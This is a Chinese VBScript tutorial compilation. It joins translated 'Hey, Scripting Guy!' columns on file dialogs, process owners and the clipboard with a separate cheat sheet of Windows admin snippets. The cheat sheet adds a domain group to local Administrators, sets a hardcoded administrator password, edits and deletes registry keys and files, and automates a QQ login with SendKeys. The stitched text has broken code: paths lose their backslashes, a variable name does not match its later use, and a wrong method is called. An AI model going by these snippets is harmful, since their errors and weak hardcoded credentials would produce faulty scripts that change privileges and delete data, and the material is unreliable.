然后,我们指定默认文件夹。默认情况下,我们希望对话框显示位于驱动器 C 的根文件夹中的文件,所
以我们这样设置“InitialDir”属性:
objDialog.InitialDir = "C:\"
希望显示 C:\Windows 文件夹中的文件吗?那么可以使用以下代码:
objDialog.InitialDir = "C:\Windows"
不必担心:这是一个真正的“文件打开”对话框,所以您可以随意单击,并且可以随时停下来。您从
C:\Windows 开始并不意味着您只能打开该文件夹中的文件。
最后,我们使用下面这行代码显示对话框:
intResult = objDialog.ShowOpen
现在,我们只需坐下来,等待用户选择文件并单击“确定”(或者等待用户单击“取消”)。如果用户单
击“取消”,则变量 intResult 将被设置为 0。在我们的脚本中,我们检查 intResult 的值,如果是 0
,我们将只需要使用 Wscript.Quit 来终止此脚本。
但是如果用户实际上选择了文件并单击了“确定”,那该怎么办?在这种情况下,intResult 将被设置为
-1,“FileDialog”属性将被设置为所选文件的路径名。我们的脚本只回显路径名,这意味着我们将得到
类似以下内容的输出:
C:\WINDOWS\Prairie Wind.bmp
不用说,您并不局限于只回显文件路径。实际上,您可以使用 WMI、FileSystemObject 或一些其他技术
来绑定该文件,然后对其执行删除、复制、压缩或检索文件属性等操作 — 您对文件能够执行的操作差不
多都可以对它执行。
但无论如何,您都需要使用脚本。
顺便说一句,使用此方法,您一次只能选择一个文件,而不能按住“Ctrl”键选择多个文件。有一种方法
可以选择多个文件,至少在 XP 计算机上可以,但是我们只能将此问题留到以后的专栏中讨论了。
15 我如何确定进程是在哪个帐户下运行的?
问:
嗨,Scripting Guy!我有一个脚本,它返回关于计算机上运行的所有进程的信息,只是我不知道如何获
得这些进程在其下运行的用户帐户的名称。您可以帮助我吗?
-- DL
答:
您好,DL。是的,我们可以帮助您。确定进程是在哪个帐户下运行的,实际上相当简单,只是如何着手执
行此操作并不是特别显而易见的。如果您与大多数人一样,那么您可能会通过扫描 Win32_Process 类的
属性来查找名为 Account 或 UserName 或类似的属性。您很有可能找不到。出现这种情况的原因是:
Win32_Process 没有可以告诉您进程在哪个帐户下运行的属性。
您需要使用“GetOwner”方法来捕捉此信息。下面这个脚本可以告诉您 Microsoft Word (Winword.exe)
在哪个帐户下运行:
strComputer = "."Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process Where Name =
'Winword.exe'")
For Each objProcess in colProcessList objProcess.GetOwner strUserName, strUserDomain
Wscript.Echo "Process " & objProcess.Name & " is owned by " _ & strUserDomain & "\" &
strUserName & "."Next
我们最感兴趣的是下面这行代码:
objProcess.GetOwner strNameOfUser, strUserDomain
我们在此所做的就是调用“GetOwner”方法。GetOwner 返回两个“输出参数”,一个返回负责该进程的
用户的名称,一个返回该用户所属的域。为捕获这两个输出参数,我们需要为 GetOwner 方法提供两个变
量。在这个示例脚本中,我们使用了两个分别叫做 strUserName 和 strUserDomain 的变量。名称可以随
意选择;您可以将变量称为 A 和 B 或 X 和 Y 或任何其他您想要的名称。
不过,变量的顺序不能随意设置:返回的第一个值总是用户名,第二个值总是域。这意味着,如果您希望
用 X 表示用户名,用 Y 表示域,那么您要确保您的代码像下面这行代码一样:
objProcess.GetOwner X, Y
调用 GetOwner 之后,我们就可直接回显进程名和所有者。请注意,我们可以稍微来点儿花样儿 – 使用
域\用户格式。这样,我们就可以回显类似于“fabrikam\kenmyer”的名称。
下面附带提供了另一个脚本,该脚本可以列出计算机上的所有进程以及各个进程的所有者:
strComputer = "."Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set colProcessList = objWMIService.ExecQuery _ ("Select * from Win32_Process")
For Each objProcess in colProcessList objProcess.GetOwner strUserName, strUserDomain
Wscript.Echo "Process " & objProcess.Name & " is owned by " _ & strUserDomain & "\" &
strUserName & "."Next
可能有人感到奇怪,2005 年 1 月 3 日正好是 Microsoft 员工的正式休息日。那么今天为什么会有“嗨
,Scripting Guy!”专栏?这只能是由于 Microsoft 脚本专家表现出来的对工作的难以置信的奉献和投
入精神。或者,也可能是由于某个脚本专家 – 还说不出他或她的名字 – 没有意识到今天是假日,所以
照常来了(而且是在早上 7 点啊!)。
16 可以将脚本的输出复制到剪贴板吗?
问:
嗨,Scripting Guy!有办法将脚本输出复制到剪贴板吗?
-- ZW, Marseilles, France
答:
您好,ZW.如果您不介意用一些疯狂的解决方法,那么实际上将脚本输出复制到剪贴板相当容易。首先,
您需要构造一个字符串,其中包含想要的输出。然后,创建 Internet Explorer 的一个实例,然后在其
中打开一个空白页。接着,利用 Internet Explorer 对象模型的内置功能,将字符串复制到剪贴板;特
别是, 可以使用 clipboardData.SetData 方法来实现这个技巧。将某些数据复制到剪贴板的示例脚本如
下:
strCopy = "This text has been copied to the clipboard."
Set objIE = CreateObject("InternetExplorer.Application")
objIE.Navigate("about:blank")
objIE.document.parentwindow.clipboardData.SetData "text", strCopy
objIE.Quit
运行脚本,然后打开 Notepad,然后单击“粘贴”;应该可以看到所复制的字符串。
顺便说一下,所有这一切都是在“幕后”发生的,Internet Explorer 并不会真的出现在屏幕上。这是因
为,在默认情况下,通过脚本创建的任何 IE 实例在运行时都是隐藏的,除非您利用如下语句将其显示出
来:
objIE.Visible = True


将域用户或租添加到本地组
Set objGroup = GetObject("WinNT://./Administrators")
Set objUser = GetObject("WinNT://testnet/Engineers")
objGroup.Add(objUser.ADsPath)
修改本地管理员密码
Set objcnlar = GetObject("WinNT://./administrator, user")
objcnla.SetPassword " P@ssW0rd "
objcnla.SetInfo
弹出 YES or NO 的对话框,不同的选择执行不同的代码
intAnswer = Msgbox("Do you want to delete these files?", vbYesNo,
"Delete Files")
If intAnswer = vbYes Then
Msgbox "You answered yes."
Else Msgbox "You answered no."
End If
运行CMD命令行命令
set obshell=wscript.createobject("wscript.shell")
obshell.run ("ipconfig"),,true
如果要运行的命令中包含双引号,可使用&chr(34)&代替
忽略代码错误继续执行
On Error Resume Next
放置于代码的最开头,当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。
注册表的修改/读取/删除/创建
Set wso = CreateObject("WScript.Shell") '声明
wso.RegWrite "%Path%"'创建子键
wso.RegWrite "%Path%","%Value%"'修改"默认"键值
wso.RegWrite "%Path%",%Value%,%RegType% '修改特定类型的键值
'(字符串值 REG_SZ 可扩充字符串值 REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值 REG_BINARY)
Set WSHShell= Wscript.CreateObject("Wscript.Shell")
WSHShell.RegRead (%Path%) '读取注册表子键或键值(一般用于判断某一事件是否执行)
Set wso = CreateObject("WScript.Shell")
wso.RegDelete "%Path%" '删除子键或键值
'(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无)

程序代码
Set wso = CreateObject("Wscript.Shell")
wso.RegWrite "HKLMSOFTWAREMicrosftWindows NT#1"
wso.RegWrite "HKLMSOFTWAREMicrosftWindows NT#1","0"
wso.RegWrite "HKLMSOFTWAREMicrosftWindows NT#1#2",0,REG_BINARY
wso.RegDelete "HKLMSOFTWAREMicrosftWindows NT#1"
Wscript.quit

文件的复制/删除/创建/简单的写入
Set fso = Wscript.CreateObject("Scripting.FileSystemObject") '声明
Set f = fso.CreateTextFile("%PATH%") '创建文件,其中f可任意,包含缩略名
f.WriteLine("VBS") '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
f.Close
set c=fso.getfile("%path%") '拷贝某文件
c.copy("%PATH2%") '拷贝文件到指定地点
fso.deletefile("%PATH%") '删除文件
Wscript.quit

程序代码
Set fso = Wscript.CreateObject("Scripting.FileSystemObject")
Set f=fso.CreateTextFile("C:Sample.txt")
WriteLine("VBS")
f.close
set e=fso.getfile(C:Sample.txt)
e.copy("D:Sample.txt")
fso.deletefile(C:Sample.txt)
Wscript.quit

向应用程序输出简单的连串指令
dim program1 '声明变量program1
program1= "%Path%" '应用程序路径
set wshshell=createobject("wscript.shell") '声明饮用函数
set oexec=wshshell.exec(program1) '运行程序
wscript.sleep 2000 '(该行命令未知作用.估计是设定延迟,请高手指点)
wshshell.appactivate "%WindowsName%" '激活运用程序窗口
wshshell.sendkeys "+{%KeyBoardName%}" '第一次输出键盘按键指令前要加+
wshshell.sendkeys "555555" '在程序输入栏中输入运用该系列命令须首先确定程序可以实施连串的键盘操作,这在QQ登录中最适用,如下例。

程序代码
dim program1
program1="D:Program FilesTencentcoralQQ.exe"
set wshshell=CreateObject("wscript.shell")
set oexec=wshshell.exec(program1)
wscript.sleep 2000
wshshell.appactivate "QQ登录"
wshshell.sendkeys "+{TAB}"
wshshell.sendkeys "250481892"
wscript.sleep 2000
wshshell.sendkeys "{TAB}"
wshshell.sendkeys "****************"
wscript.sleep 2000
wshshell.sendkeys "{ENTER}"
Wscript.quit

文件夹的简单操作
Set fso = Wscript.CreateObject("Scripting.FileSystemObject") '声明
Set f = fso.CreateFolder("%PATH%") 创建文件夹
Set e = getFolder(%PATH%) 类似于"绑定目标"
e.copy("%PATH2%") 复制文件夹
fso.deletefolder(%PATH%) 删除文件夹

程序代码
Set fso = Wscript.CreateObject("Scripting.FileSystemObject")
Set f = fso.CreateObject("C:sample")
f.copy("D:sample")